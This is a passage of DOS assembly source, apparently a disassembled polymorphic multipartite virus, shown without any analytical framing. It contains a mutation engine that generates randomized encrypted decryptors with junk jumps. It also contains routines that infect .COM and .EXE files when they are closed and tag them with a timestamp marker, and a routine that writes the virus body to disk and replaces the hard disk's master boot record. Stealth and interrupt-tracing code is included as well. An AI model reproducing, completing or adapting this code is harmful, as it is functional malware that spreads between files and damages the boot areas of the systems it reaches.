INT 21h ; DOS Services ah=function 44h
; IOctl-D block device control
; bl=drive, cx=category/type
; ds:dx ptr to parameter block
JMP LOC_83
;
; Gets a random number from the polymorphic sector.
; Returns: AX = Random number.
;
Get_Random_Poly:
PUSH BX
MOV BX, CS:Poly_Sector
CMP BX, 512
JB LOC_86
AND BX, 00000001b ; 0 - 1.
XOR BL, 00000001b ; Flip.
LOC_86:
ADD BX, 2 ; Next word.
MOV CS:Poly_Sector, BX
MOV AX, CS:[Poly_Sector+BX]
POP BX
RETN
;
; Return: AX = Random value (1 - 65535).
;
Get_Random:
XOR AL, AL
OUT 43h, AL ; port 43H, 8253 timer control
; al = 0, latch timer0 count
JMP $+2 ; Delay for I/O.
IN AL, 40h
MOV AH, AL
IN AL, 40h
XOR AL, AH
XCHG AL, AH
PUSH CX
MOV CL, AH
AND CL, 00001111b
ROL AX, CL
MOV CX, AX
AND CX, 0000011111111111b
Delay_Loop:
JMP $+2
NOP
LOOP Delay_Loop
POP CX
XOR CS:Random, AX
ADD AX, CS:Random
OR AH, AH
JZ Get_Random
OR AL, AL
JZ Get_Random
RETN
Poly_Engine:
PUSH SI
PUSH BX ; Filehandle.
CLD
MOV Poly_Sector, 0
XOR SI, SI
MOV DI, OFFSET Undoc
MOV DATA_77, 1C6Ah
MOV AX, Host_Entrypoint
MOV DATA_84, AX
CALL Get_Ran_3
MOV AL, [BX+Encr_Methods]
MOV AH, 0E0h
MOV word ptr Poke1, AX
MOV word ptr Shit3, AX
XOR BL, 03h
MOV AL, Encr_Methods[BX]
MOV Shit2, AL
CALL Get_Random_Poly
MOV DATA_94, AL
MOV Key_3, AL
MOV DATA_82, AH
POP BX
PUSH BX
MOV word ptr Decrypt_2, 0F72Eh
MOV BYTE PTR Key_2, 15h
MOV CX, 14h
LOCLOOP_89:
LODSB ; String [si] to al
Shit3:
;* SUB AL,AH
DB 28H,0E0H ; Fixup - byte match
STOSB ; Store al to es:[di]
LOOP LOCLOOP_89 ; Loop if cx > 0
MOV CX, 1ECh
LOCLOOP_90:
LODSB ; String [si] to al
CMP SI,1A3H
JB LOC_91
XCHG DATA_94, AH
XOR AL, AH
ADD AH, 01h
XCHG DATA_94, AH
LOC_91:
NOT AL
Poke1:
;* SUB AL,AH
DB 28H,0E0H ; Fixup - byte match
STOSB
LOOP LOCLOOP_90
CALL SUB_38
JC LOC_94
MOV CX,DATA_77
JCXZ LOC_93 ; Jump if cx=0
SUB CX, 200h
JC LOC_92
MOV DATA_77, CX
MOV CX, 200h
JMP LOCLOOP_90
LOC_92:
ADD CX, 512
MOV DATA_77, 0
MOV DX, CX
JMP LOCLOOP_90
LOC_93:
CALL SUB_39
CALL SUB_31
CALL SUB_24
MOV DX, 1F6Ah
MOV AH, 40h
ADD CX, 11h
NOP
CALL Traced_i21h
CLC
LOC_94:
POP BX
POP SI
RETN
SUB_24:
PUSH BX
PUSH BP
MOV SI, OFFSET Undoc
MOV DI, OFFSET Drew1
XOR CX, CX
CALL Make_Clear_Flags
MOV BL, 04h
CALL SUB_18
CALL SUB_34
CALL SUB_36
CALL Make_Uncon_JMP
CALL SUB_25
CALL Make_Uncon_JMP
CALL SUB_25
CALL Make_Uncon_JMP
CALL SUB_25
CALL Make_Uncon_JMP
MOV BL, 02h
CALL SUB_18
CALL Make_Uncon_JMP
CALL Get_Random_Poly
CMP AH, 128
JB LOC_95
MOVSB
JMP LOC_96
LOC_95:
OR Flags, 00010000b
SUB CL, 01h
INC SI
LOC_96:
CALL Make_Uncon_JMP
CALL SUB_28
MOV CH,CL
MOV BL, 2
CALL SUB_18
CALL Make_Uncon_JMP
MOVSW
MOVSB
CALL Make_Uncon_JMP
CALL SUB_33
MOV BL,2
CALL SUB_18
CALL SUB_27
MOV BL,2
CALL SUB_18
CALL Make_Uncon_JMP
CALL SUB_26
MOV BL,2
CALL SUB_18
CALL Make_Uncon_JMP
MOV AL,CL
SUB AL,CH
MOV CH,AL
LODSW ; String [si] to ax
SUB AH, CH
STOSW
MOV BL, 02h
CALL SUB_18
CALL Make_Uncon_JMP
CALL SUB_30
CALL Get_Random_Poly
AND AL, 00000111b
ADD CL, AL
MOV CH, 00h
CMP Host_Type, CH
JE LOC_97
ADD File_Mod512, CX
CMP File_Mod512, 512
JB LOC_97
INC Byte_Pages ; Rounding.
SUB File_Mod512, 512
JNZ LOC_97
DEC Byte_Pages
LOC_97:
POP BP
POP BX
RETN
SUB_25:
PUSH CX
XOR CX, CX
MOV AL, DATA_92
MOV CL, AL
SHR AL, 2 ; DIV 4.
MOV DATA_92, AL
AND CL, 03h
REP MOVSB
POP CX
RETN
SUB_26:
CALL Get_Random_Poly
CMP BYTE PTR DATA_97,4
JAE LOC_98
XOR AL, AH
JP LOC_98 ; Jump if parity=1
MOVSB
RETN
LOC_98:
MOV BL, DATA_96
MOV BH, 00h
CMP BYTE PTR DATA_97, 06h
JAE LOC_100
CMP BYTE PTR DATA_97, 04h
JAE LOC_99
TEST AL, 00000001b
JNZ LOC_100
LOC_99:
MOV DL, 01h
MOV DH, Uncon_Jumps[BX]
JMP LOC_101
LOC_100:
MOV DL, 0FFh
MOV DH, [BX+DATA_109]
LOC_101:
TEST AL, 00000010b
JNZ LOC_102
MOV AL, 81h
STOSB
MOV AL, DH
STOSB
MOV AL, DL
CBW
STOSW
INC SI
ADD CL, 03h
RETN
LOC_102:
MOV AL, 83h ; ADD
STOSB
MOV AL, DH
STOSB
MOV AL, DL
STOSB
INC SI
ADD CL, 02h
RETN
DB 0C3H
SUB_27:
CALL Get_Random_Poly
XOR AL, AH
JNS LOC_103 ; Jump if not sign
MOVSB
RETN
LOC_103:
MOV BL, DATA_94
MOV BH, 00h
CMP DATA_93, 80h
NOP
JA LOC_105
TEST AL, 00000001b
JNZ LOC_104
MOV DL, 01h
MOV DH, Uncon_Jumps[BX]
JMP LOC_107
LOC_104:
MOV DL, 0FFh
MOV DH, DATA_109[BX]
JMP LOC_107
LOC_105:
TEST AL, 00000001b
JNZ LOC_106
MOV DL, 01h
MOV DH, DATA_109[BX]
JMP LOC_107
LOC_106:
MOV DL, 0FFh
MOV DH, Uncon_Jumps[BX]
LOC_107:
TEST AL, 00000010b
JNZ LOC_108
MOV AL, 81h
STOSB
MOV AL, DH
STOSB
MOV AL, DL
CBW
STOSW
INC SI
ADD CL, 03h
RETN
LOC_108:
MOV AL, 83h ; ADD
STOSB
MOV AL, DH
STOSB
MOV AL, DL
STOSB
INC SI
ADD CL, 02h
RETN
SUB_28:
CMP DATA_93, 128
NOP
JA LOC_RET_112
PUSH DX
MOV DX, OFFSET Buffer
MOV AL, DATA_93
AND AL, 07h
CBW
INC AX
ADD DX,AX
MOV BL,DATA_97
CMP BL, 06h
JE LOC_109
TEST BL, 00000001b
JNZ LOC_109
DEC DX
LOC_109:
MOV AH, AL
XOR BX, BX
MOV BL, DATA_94
MOV AL, 81h
STOSB
TEST AH, 00000001b
JZ LOC_110
MOV AL, Uncon_Jumps[BX] ; Store JMP opcode.
STOSB
MOV AX, DX
NEG AX
STOSW
JMP LOC_111
LOC_110:
MOV AL, DATA_109[BX]
STOSB
MOV AX, DX
STOSW
LOC_111:
ADD CL,4
POP DX
LOC_RET_112:
RETN
Make_Uncon_JMP:
CALL Get_Random_Poly
TEST AL, 00100000b ; 1/8 chance.
JZ LOC_RET_116
TEST AL, 00001000b ; 1/8 chance.
JZ LOC_113
AND AH, 03h ; 0 - 3.
ADD AH, 01h ; Prevent zero JMP.
MOV AL, 0EBh ; JMP SHORT opcode.
STOSW ; Store JMP SHORT.
ADD CL, 02h
MOV AL, AH
JMP LOC_114
LOC_113:
AND AH, 03h ; 0 - 3.
ADD AH, 01h ; 1 - 4.
MOV AL, 0E9h ; Store JMP opcode.
STOSB
MOV AL, AH ; Store dataword.
CBW
STOSW
ADD CL, 3
LOC_114:
MOV BL, AL
LOC_115:
CALL Get_Random_Poly
MOV AH, AL
CMP AH, 2Eh ; CS: override?
JE LOC_115 ; Then get another value.
AND AH, 0F8h
CMP AH, 0B0h ; MOV AL ?
JE LOC_115 ; Then get another value.
STOSB
ADD CL, 01h
SUB BL, 01h ; JMP-Hole filled with
JNZ LOC_115 ; garbage?
LOC_RET_116:
RETN
SUB_30:
TEST Flags, 00010000b
JNZ LOC_119
CALL Get_Random_Poly
TEST AL, 00000100b
JNZ LOC_118
MOVSB
RETN
LOC_118:
AND AH,7
CMP AH, 04h
JE SUB_30
MOV AL, AH
OR AL, 58h
STOSB
MOV AL, 0FFh
OR AH, 0E0h
STOSW
ADD CL, 02h
RETN
LOC_119:
XOR Flags, 10h
MOV AL, 0E9h ; JMP opcode.
STOSB
ADD CL, 2
MOV AL, CL
CBW
ADD AX, 1E7Bh
NEG AX
STOSW
RETN
SUB_31:
PUSH BX
MOV SI, 0E70h
CALL Get_Random_Poly
JNP LOC_120 ; Jump if not parity
MOV DI, OFFSET Used_Mov_Ptr
MOV AX, [DI]
PUSH [DI+2]
PUSH SI
MOVSW
MOVSB
POP SI
MOV [SI], AX
POP AX
MOV [SI+2], AL
LOC_120:
MOV DI, OFFSET Undoc
CALL Get_Random_Poly
CMP AL, 55h
JB LOC_121
CMP AL, 0AAh
JB LOC_122
MOV AX, [SI+3]
STOSW
MOVSW
MOVSB
INC SI
INC SI
MOVSW
MOVSB
MOV BYTE PTR DATA_92, 3Eh
JMP LOC_123
LOC_121:
MOVSW
MOVSB
MOV AX,[SI]
INC SI
INC SI
MOVSW
MOVSB
STOSW
MOV BYTE PTR DATA_92, 2Fh
JMP LOC_123
LOC_122:
MOVSW
MOVSW
MOVSW
MOVSW
MOV BYTE PTR DATA_92, 3Bh
LOC_123:
MOV CX, 09h
REP MOVSB
POP BX
RETN
Make_Clear_Flags:
CALL Get_Random_Poly ; Get random number in AX.
CMP AL, 128 ; 50% chance.
JB LOC_RET_127
TEST AH, 00001000b
JNZ LOC_125
MOV AL, 0FAh ; CLI
Store1:
STOSB
ADD CL, 01h
RETN
LOC_125:
PUSH BX
MOV BX, OFFSET PushPop_Pairs
LOC_126:
ADD AL, 20 ; Must be 20 or above.
JNC LOC_126 ; Overflow?
CBW
AND AL, 0FEh ; Number must be even.
ADD BX, AX
MOV AH, [BX] ; Get PUSH reg.
POP BX
MOV AL, 9Dh ; POPF
CMP Host_Type, 01h ; Host is .EXE ?
JE Store1
STOSW
ADD CL, 02h
LOC_RET_127:
RETN
LOC_128:
XOR Flags, 8
RETN
SUB_33:
TEST Flags, 00001000b
JNZ LOC_128
PUSH BX
LOC_129:
CALL Get_Random_Poly
TEST AH, 00000001b
JZ LOC_131
AND AX, 07h
MOV BX, AX
CMP BL, 04h
JNE LOC_130
CMP BYTE PTR DATA_81, 0B0h
JE LOC_129
CMP BYTE PTR DATA_96, 00h
JE LOC_129
LOC_130:
MOV AL, DATA_100[BX]
STOSB
INC CL
POP BX
RETN
LOC_131:
CMP BYTE PTR DATA_96, 0
JE LOC_129
CMP BYTE PTR DATA_95, 0
JE LOC_129
LOC_132:
CALL Get_Random_Poly
AND AX,7
CMP AL,5
JA LOC_132
SHL AL, 1 ; MUL 2.
MOV BX, AX
MOV AX, DATA_101[BX]
STOSW
CMP BL,6
JA LOC_133
CALL Get_Random_Poly
AND AL, 0Fh
STOSB
ADD CL, 1
CMP BL, 6
JNE LOC_133
MOV AL, AH
STOSB
ADD CL, 1
LOC_133:
ADD CL, 2
POP BX
RETN
SUB_34:
CALL Get_Random_Poly
CMP AX, 5555h
JB LOC_RET_136
OR Flags, 00001000b
CALL Make_Dummy_Int
CALL Get_Random_Poly
XCHG BX, AX
AND BX, 02h
MOV AX, DATA_98[BX]
STOSW
MOV DX, Host_Entrypoint
ADD DX, OFFSET Buffer
ADD DX, CX
ADD CL, 02h
TEST AL, 00001000b
JNZ LOC_134
MOV AL, 81h ; Arithmic
STOSB
ADD CL, 7
CALL SUB_35
MOV AL, 0FAh
STOSB
XCHG DX, AX
STOSW
RETN
LOC_134:
MOV AL, 80h
STOSB
ADD CL,6
CALL SUB_35
CMP AH, 80h
JA LOC_135
MOV AL, 0FBh
STOSB
MOV AL, DH
STOSB
RETN
LOC_135:
MOV AL, 0FAh
STOSB
XCHG DX, AX
STOSB
LOC_RET_136:
RETN
SUB_35:
LOC_137:
CALL Get_Random_Poly
MOV BL, AL
AND BX, 07h
CMP BL, 04h
JA LOC_137
MOV AL, DATA_99[BX]
STOSB
CMP BL, 03h
JE LOC_139
CMP BL, 04h
JNE LOC_RET_140
TEST BYTE PTR [DI-2], 00000001b
JNZ LOC_138
NEG DH
NEG DL
RETN
LOC_138:
NEG DX
RETN
LOC_139:
NOT DX
LOC_RET_140:
RETN
SUB_36:
TEST Flags, 00001000b
JZ LOC_RET_141
CALL Get_Random_Poly
AND AH, 7Fh
ADD AH, 0Ah
MOV AL, 75h
STOSW
LOC_RET_141:
RETN
Make_Dummy_Int:
ADD CL, 02h
MOV BL, 2Ah
CALL Get_Random_Poly
LOC_142:
ADD AL, BL
JNC LOC_142
AND AX, 0000000011111110b
XCHG BX, AX
MOV AX, OFFSET Int_Table[BX]
STOSW
RETN
SUB_38:
PUSH AX
CMP DATA_77,0
MOV CX,200H
JNZ LOC_143
MOV CX,DX
LOC_143:
MOV DX, OFFSET Undoc
MOV DI, DX
MOV AH, 40h
CALL Traced_i21h
POP AX
RETN
DATA_77 DW 0E6Ah
Host_Entrypoint DW 0
DATA_79 DB 0BFh
DATA_80 DW 9
DATA_81 DB 0B6h
DATA_82 DB 78h
Used_Mov_Ptr DB 0BBh
DATA_84 DW 0
Used_Push_Ptr DB 57h
Shit9 DB 2Eh
Shit2 DB 0
Shit1 DB 35h
Used_Ptr DB 4Fh
Shit8 DB 4Bh
Shit6 DB 77h
DB 0F9h, 0C3h
SUB_39:
PUSH BX
CALL Get_Ran_3
MOV AH, Mov_Ptr[BX]
MOV Used_Mov_Ptr, AH
MOV AH, Push_Ptr[BX]
MOV Used_Push_Ptr, AH
CALL Get_Random_Poly
MOV DATA_93, AH
CMP AH, 128 ; 50% chance.
JA LOC_145
MOV AH, Dec_Ptr[BX]
JMP LOC_146
LOC_145:
MOV AH, Inc_Ptr[BX]
LOC_146:
MOV Used_Ptr, AH
MOV DL, BL
ADD BL, 3
CMP BL, 3
JNE LOC_147
SUB BL, 2
LOC_147:
MOV DATA_94,BL
LOC_148:
CALL Get_Random_Poly
NOT AX
AND AL, 07h
MOV BL, AL
SHR AL, 01h
CMP DATA_94, AL
JE LOC_148
MOV DATA_95, AL
MOV AH, DATA_110[BX]
MOV DATA_81, AH
SHL DL, 03h
ADD BL, DL
MOV AH, DATA_111[BX]
MOV Shit1, AH
LOC_149:
CALL Get_Random_Poly
NOT AX
MOV BL, AL
AND BL, 07h
CMP BL, 6
JA LOC_149
CMP DATA_94, BL
JE LOC_149
CMP DATA_95, BL
JE LOC_149
MOV DATA_96, BL
MOV AH, [BX+MOV_Reg]
MOV DATA_79, AH
MOV AH, OFFSET [BX+DEC_Reg]
MOV Shit8, AH
CALL Get_Random_Poly
AND AL, 00000111b ; 0 - 7.
CBW
MOV BX, AX
MOV AH, [Cond_Jumps+BX]
MOV Shit6, AH
MOV DATA_97, BL
CALL Get_Random_Poly
NOT AX
XOR BX, BX
MOV BL, AL
AND BL, 00000011b ; 0 - 3.
MOV AL, Host_Type
OR AL, AL ; .COM-file?
JZ LOC_150
MOV BL, AL
LOC_150:
MOV AH, Overrides[BX]
MOV Shit9, AH
MOV AL, DATA_93
AND AL, 00000111b ; 0 - 7.
CBW
INC AX ; 1 - 8.
ADD AX, OFFSET Buffer
MOV DATA_80, AX
POP BX
RETN
DATA_92 DB 0
DATA_93 DB 38H
DATA_94 DB 5DH
DATA_95 DB 3
DATA_96 DB 1
DATA_97 DB 4
DATA_98 DW 0EC8BH
DB 54H, 5DH
DATA_99 DB 7EH, 76H, 6EH, 66H, 46h
;;
DATA_100 DB 64h, 65h, 67h, 9Bh, 0D6h, 9Bh, 64h, 65h
DATA_101 DW 0F0C0H
DB 0C1H,0F0H,0F6H,0C8H,0F7H,0C8H
DB 0D0H,0F0H,0D1H,0F0H
; MOV BX DI SI
Mov_Ptr DB 0BBh, 0BFh, 0BEh
; ---> PUSH BX DI SI
Push_Ptr DB 053h, 057h, 056h
; ---> INC BX DI SI
Inc_Ptr DB 043h, 047h, 046h
; ---> DEC BX DI SI
Dec_Ptr DB 4Bh, 4Fh, 4Eh
; ---> MOV AX, BX, CX, DX, DI, SI, BP.
MOV_Reg DB 0B8h, 0BBh, 0B9h, 0BAh, 0BFh, 0BEh, 0BDh
DEC_Reg:
DEC AX
DEC BX
DEC CX
DEC DX
DEC DI
DEC SI
DEC BP
; ---> JMP
Uncon_Jumps DB 0E8h, 0EBh, 0E9h, 0EAh, 0EFh, 0EEh, 0EDh ; JMPs.
DATA_109 DB 0C0H, 0C3H,0C1H,0C2H,0C7H,0C6H,0C5H
; ---> MOV AL AH BL BH CL CH DL DH
DATA_110 DB 0B0h, 0B4h, 0B3h, 0B7h, 0B1h, 0B5h, 0B2h, 0B6h
DATA_111 DB 7
DB 27H, 00H, 00H, 0FH, 2FH, 17H
DB 37H, 05H, 25H, 1DH, 3DH, 0DH
DB 2DH, 15H, 35H, 04H, 24H, 1CH
DB 3CH, 0CH, 2CH, 14H, 34H
; JNZ JNS JG JGE JA JNB JB JBE
Cond_Jumps DB 75h, 79h, 7Fh, 7Dh, 77h, 73h, 72h, 76h
; DS: CS: ES: SS:
Overrides DB 3Eh, 2Eh, 26h, 36h ; Segment overrides.
Encr_Methods DB 30h, 00h, 28h, 30h ; encr.
DATA_115 DB 0C0h, 0C4h, 0C3h, 0C7h, 0C1h, 0C5h, 0C2h, 0C6h
DATA_116 DB 0E8h, 0ECh, 0EBh, 0EFh, 0E9h, 0EDh, 0EAh, 0EEh
DATA_117 DB 75h, 78h, 7Ch, 7Eh
DATA_118 DW 1F16h, 1F50h, 0D88Eh, 0716h
DB 50H, 07H, 8EH, 0C0h
DATA_119 DB 0C0h, 0C9H, 0D2H, 0DBh
Int24h DW 4CBh, 512h
DATA_122 DW 6EEh
DATA_123 DW 70h
; Dummy critical-error handler.
NewInt24h:
MOV AL, 03h
Do_IRET: IRET
Clean_File:
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH ES
PUSH DS
PUSH DI
PUSH SI
CALL Set_Dummy_Handlers
CALL Save_FileAttr
MOV AX, 3D02h ; Open file r/w.
CALL Traced_i21h
JC LOC_155
PUSH AX
CALL Check_FileName
ADD BX, 04h
MOV CX, BX
POP BX
CMP CX, 0Eh
JE LOC_154
PUSH CS
POP DS
CLD
MOV DI, OFFSET FileName1
MOV SI, OFFSET FileName2
REPE CMPSB ; Rep zf=1+cx >0 Cmp [si] to es:[di]
JCXZ LOC_151 ; Jump if cx=0
JMP LOC_154
LOC_151:
MOV CX, 28 ; Read header.
MOV DX, OFFSET Buffer
MOV AH, 3Fh
CALL Traced_i21h
JC LOC_154
CALL Save_FileTime
MOV AX, Trace_Int
AND AL, 00011111b ; Clear all but seconds.
CMP AL, 00010001b ; Infected stamp?
JNE LOC_153
MOV AX, Marker
CMP AX, 'ZM' ; True .EXE?
JE Do_Clean_EXE
CMP AX, 'MZ'
JNE LOC_153
Do_Clean_EXE:
CALL SUB_41
JC LOC_154
LOC_153:
CALL Restore_FileTime
LOC_154:
MOV AH, 3Eh ; Close file.
CALL Traced_i21h
LOC_155:
CALL Restore_FileAttr
CALL Restore_Dummy_Handlers
POP SI
POP DI
POP DS
POP ES
POP DX
POP CX
POP BX
POP AX
RETN
SUB_41:
MOV AX, Init_CS ; Size CS in bytes.
MOV DX, 16
MUL DX
ADD AX, Init_IP ; Plus IP.
ADC DX, 0
MOV CX, Header_Size ; Calculate headersize.
SHL CX, 04h ; MUL 16.
ADD AX, CX ; Plus headersize.
ADC DX, 0
MOV CX, DX ; Go to entrypoint of host.
MOV DX, AX
MOV AX, 4200h
CALL Traced_i21h
JNC No_Err_2
RETN
No_Err_2:
SUB AX, Virus_Size
SBB DX, 0
PUSH AX
PUSH DX
MOV AH, 3Fh
MOV CX, 128
MOV DX, OFFSET Ruck
CALL Traced_i21h
JNC LOC_157
CMP AX, 36
JA LOC_157
ADD SP, 04h
STC
RETN
LOC_157:
PUSH BX
MOV DI, AX
ADD DI, DX
MOV CX, 50
STD
MOV AL, '.'
REPNE SCASB
OR CX, CX
JNZ LOC_158
POP BX
ADD SP, 04h
STC
RETN
LOC_158:
MOV AH, [DI+2]
XOR BX, BX
LOC_159:
CMP Encr_Methods[BX], AH
JE LOC_161
INC BX
CMP BX, 04h
JA LOC_160
JMP LOC_159
LOC_160:
POP BX
ADD SP, 04h
STC
RETN
LOC_161:
MOV AL,[DI+3]
XOR BX, BX
LOC_162:
CMP AL, DATA_111[BX]
JE LOC_164
INC BX
CMP BX, 19h
JA LOC_163
JMP LOC_162
LOC_163:
POP BX
ADD SP, 04h
STC
RETN
LOC_164:
AND BL, 07h
MOV AL, DATA_110[BX]
MOV CX, 50
REPNE SCASB ; Rep zf=0+cx >0 Scan es:[di] for al
OR CX, CX
JNZ LOC_165
POP BX
ADD SP, 04h
STC
RETN
LOC_165:
MOV AL, [DI+2]
CLD
POP BX
POP CX
POP DX
PUSH DX
PUSH CX
PUSH AX
MOV AX, 4200h
ADD DX, OFFSET Old_Entry
ADC CX, 0
CALL Traced_i21h
MOV CX, 15
MOV DX, OFFSET Ruck
MOV AH, 3Fh ; Read
CALL Traced_i21h
POP AX
MOV byte ptr Crp_1, AH
JMP $+2 ; delay for I/O
MOV DI, DX
MOV CX, 15
LOCLOOP_166:
Crp_1:
ADD [DI],AL
NOT BYTE PTR [DI]
INC DI
LOOP LOCLOOP_166
MOV DI,DX
MOV AX,[DI]
MOV Init_IP, AX
MOV AX, [DI+2]
MOV Init_CS, AX
MOV AX, [DI+4]
MOV Init_SP, AX
MOV AX, [DI+6]
MOV Init_SS, AX
MOV AX, [DI+8]
MOV File_Mod512, AX
MOV AX, [DI+0AH]
MOV Byte_Pages, AX
MOV AX, [DI+0CH]
MOV Trace_Int, AX
MOV AL, [DI+0EH]
CMP AL, 01h
JE LOC_167
ADD SP,4
STC
RETN
LOC_167:
POP CX
POP DX
PUSH DX
PUSH CX
AND DX, 1FFh
CMP File_Mod512, DX
JE LOC_168
ADD SP, 04h
STC
RETN
LOC_168:
XOR CX, CX ; Go to start of file.
MOV DX, CX
MOV AX, 4200h
CALL Traced_i21h
MOV DX, OFFSET Buffer ; Read header.
MOV CX, 28
MOV AH, 40h
CALL Traced_i21h
POP CX ; Go to start of file.
POP DX
MOV AX, 4200h
CALL Traced_i21h
MOV AH, 40h ; Write <EOF> marker.
XOR CX, CX
CALL Traced_i21h
RETN
Set_Dummy_Handlers:
PUSH ES
XOR AX, AX
MOV ES, AX
MOV AX, ES:[24h * 4] ; Save INT 24h.
MOV CS:Int24h, AX ; (Critical error-handler).
MOV AX, ES:[24h * 4 + 2]
MOV CS:Int24h+2, AX
MOV AX, ES:[1Bh * 4] ; Save INT 1Bh.
MOV CS:DATA_122, AX ; (Ctrl-Break handler).
MOV AX, ES:[1Bh * 4 + 2]
MOV CS:DATA_123, AX
MOV ES:[24h * 4 + 2], CS ; Dummy error-handler.
MOV ES:[24h * 4], OFFSET NewInt24h
MOV ES:[1Bh * 4 + 2], CS ; Dummy Ctrl-Break handler.
MOV ES:[1Bh * 4], OFFSET Do_IRET
POP ES
RETN
Restore_Dummy_Handlers:
PUSH DS
PUSH ES
PUSH SI
XOR AX, AX
CLD
PUSH CS
POP DS
MOV ES, AX
MOV SI, OFFSET Int24h ; Restore original INT 24h.
MOV DI, 24h * 4
MOVSW
MOVSW
MOV DI, 1Bh * 4 ; Restore original INT 1Bh.
MOVSW
MOVSW
POP SI
POP ES
POP DS
RETN
Make_Random_Stack:
CALL Get_Random_Poly
AND AX, 00000011b ; Mask between 0 - 3.
JZ Make_Random_Stack
ADD AX, Init_CS ; Variable stacksegment.
MOV Init_SS, AX
CALL Get_Random_Poly
AND AX, 00000111b ; 0 - 7.
ADD AX, (Virus_Size + 272)
AND AL, 11111110b
MOV Init_SP, AX
RETN
Infect_Close:
PUSH BX
PUSH CX
PUSH DX
PUSH ES
PUSH DS
PUSH DI
PUSH SI
PUSHF
PUSH AX
CALL Set_Dummy_Handlers
TEST CS:Flags, 00000001b
JNZ LOC_172
CALL Save_FileTime
MOV AX, CS:Trace_Int
AND AL, 00011111b ; Mask seconds.
CMP AL, 00010001b ; Infected stamp?
JE LOC_172
CALL Get_FileName
JC LOC_172
XOR CX, CX ; Go to begin file.
MOV DX, CX
MOV AX, 4200h
CALL Traced_i21h
JC LOC_172
MOV AH, 3Fh ; Read header.
MOV CX, 28
PUSH CS
POP DS
PUSH DS
POP ES
MOV DX, OFFSET Buffer
CALL Traced_i21h
JC LOC_172
CMP AX, CX ; Bytes read not equal?
JNE LOC_172
MOV SI, DX
CLD
LODSW ; String [si] to ax
CMP AX, 'ZM' ; True .EXE-file?
JE LOC_170
CMP AX, 'MZ' ; True .EXE-file?
JE LOC_170
CALL Infect_COM
JC LOC_172
JMP LOC_171
LOC_170:
CALL Infect_EXE
JC LOC_172
LOC_171:
MOV AX, Trace_Int
AND AL, 0E0h
OR AL, 11h
MOV Trace_Int, AX
CALL Restore_FileTime
LOC_172:
POP AX
POPF
MOV AH, 3Eh ; Close file.
CALL Traced_i21h
PUSH AX
PUSHF
CALL Restore_Dummy_Handlers
POPF
POP AX
POP SI
POP DI
POP DS
POP ES
POP DX
POP CX
POP BX
RETN
Get_FileName:
PUSH BX
MOV AX, 1220h ; Get DCB-number.
INT 2Fh
JNC LOC_174
Error_DCB: STC
JMP LOC_183
NOP
LOC_174:
CMP BYTE PTR ES:[DI], 0FFh ; Filehandle not open?
JE Error_DCB
XOR BX, BX
MOV BL, ES:[DI]
MOV AX, 1216h ; Get DCB-address.
INT 2Fh
JC LOC_183
PUSH ES
POP DS
PUSH CS
POP ES
;* AND [DI+2],0FFF8H
DB 83H, 65H, 02H,0F8H ; Fixup - byte match
OR WORD PTR [DI+2], 02h ; Set file open-mode to r/w.
ADD DI, 20h
MOV SI, DI
CLD
PUSH SI
MOV DI, OFFSET FileName2
XOR BX, BX
MOV CX, 08h
LOCLOOP_175:
LODSB ; String [si] to al
CMP AL, ' '
JE LOC_176
STOSB
INC BX
LOOP LOCLOOP_175
LOC_176:
MOV AL, '.'
STOSB
INC BX
POP SI
ADD SI, 08h
MOV CX, 03h
LOCLOOP_177:
LODSB ; String [si] to al
CMP AL, ' '
JE LOC_178
STOSB
INC BX
INC BH
LOOP LOCLOOP_177
LOC_178:
CMP BH, 03h
JE LOC_180
LOC_179:
STC
JMP LOC_183
LOC_180:
SUB SI,3
LODSW ; String [si] to ax
CMP AX, 'XE' ; .EXE-file?
JE LOC_181
CMP AX, 'OC' ; .COM-file?
JNE LOC_179
LOC_181:
LODSB ; String [si] to al
CMP AX, 'XE' ; .EXE-file?
JE LOC_182
CMP AX, 'OM' ; .COM-file?
JNE LOC_179
LOC_182:
MOV BH, 00h
CALL SUB_14
LOC_183:
POP BX
RETN
Check_Infect:
TEST Flags, 00000100b
JZ No_JMP_Start
CMP Host_Type, 00h ; Host is .COM-file?
JE Handle_COM1
MOV AX, [SI+0Eh] ; SS.
SUB AX, [SI+16h] ; Minus CS.
JZ No_JMP_Start
SUB AX, 03h
JA No_JMP_Start
MOV AX, [SI+14h] ; AX = IP.
CMP AX, OFFSET Buffer
JB No_JMP_Start
CMP AX, 1EC4h
JA No_JMP_Start
STC
RETN
Handle_COM1:
CMP BYTE PTR [SI], 0E9h ; Starts with a JMP ?
JNE No_JMP_Start
STC
RETN
No_JMP_Start:
CLC
RETN
Infect_Harddisk:
MOV AX, 5445h ; Residency-check.
INT 13h
CMP AX, 4554h ; Are we already resident?
JE JMP_Exit_HD_Infect ; (harddisk already infected)
PUSH CS
POP ES
XOR AX, AX
MOV DS, AX
MOV SI, 13h * 4 ; Save INT 13h.
MOV DI, OFFSET Traced_Int13h
CLD
MOVSW
MOVSW
PUSH CS
POP DS
MOV DX, 80h ; Read MBR of 1st harddisk.
MOV CX, 01h
MOV AX, 0201h
MOV BX, OFFSET Buffer
CALL Traced_i13h
JNC No_Err_1
JMP_Exit_HD_Infect:
JMP LOC_RET_189
NOP
No_Err_1:
MOV AX, Drew2
SUB AX, Drew1
CMP AX, 0CCFFh ; Already infected?
JE JMP_Exit_HD_Infect
MOV AH, 08h ; Get disk drive parameters.
MOV DL, 80h
CALL Traced_i13h
MOV AX, 0310h ; Store virusbody on HD.
XOR BX, BX
INC CH
MOV DATA_150, CX
DEC DH
SUB CL, 16 ; - Virus_Size
MOV DL, 80h
CALL Traced_i13h
JC JMP_Exit_HD_Infect
ADD CL, 16 ; Store original MBR.
MOV BX, OFFSET Buffer
MOV AX, 0301h
CALL Encrypt_Boot
CALL Traced_i13h
JC JMP_Exit_HD_Infect
CLD
MOV BL, 01h
CALL SUB_49
MOV DX, 80h
MOV CX, 01h
MOV AX, 0301h
MOV BX, OFFSET Buffer
TEST Flags, 10000000b ; Win95/NT active?
JZ LOC_188
PUSH AX ; PARAMETER_4
PUSH BX ; PARAMETER_3
PUSH CX ; PARAMETER_2
PUSH DX ; PARAMETER_1
CALL Infect_Exec2
JNC LOC_RET_189 ; Jump if carry=0
LOC_188:
CALL Infect_Exec3
LOC_RET_189:
RETN
CLI
XOR AX, AX
MOV SS, AX ; Setup stack.
MOV SP, 7C00h
MOV DS, AX
Init_Boot_Key: MOV CH, 0
ORG $-1
Boot_Key DB 0B8h
Boot_Ptr: MOV SI, 0
ORG $-2
Start_Encr DW 7C16h
Screw1:
LOC_190:
SUB [SI], CH
Change_Ptr: INC SI
Change_Key: INC CH
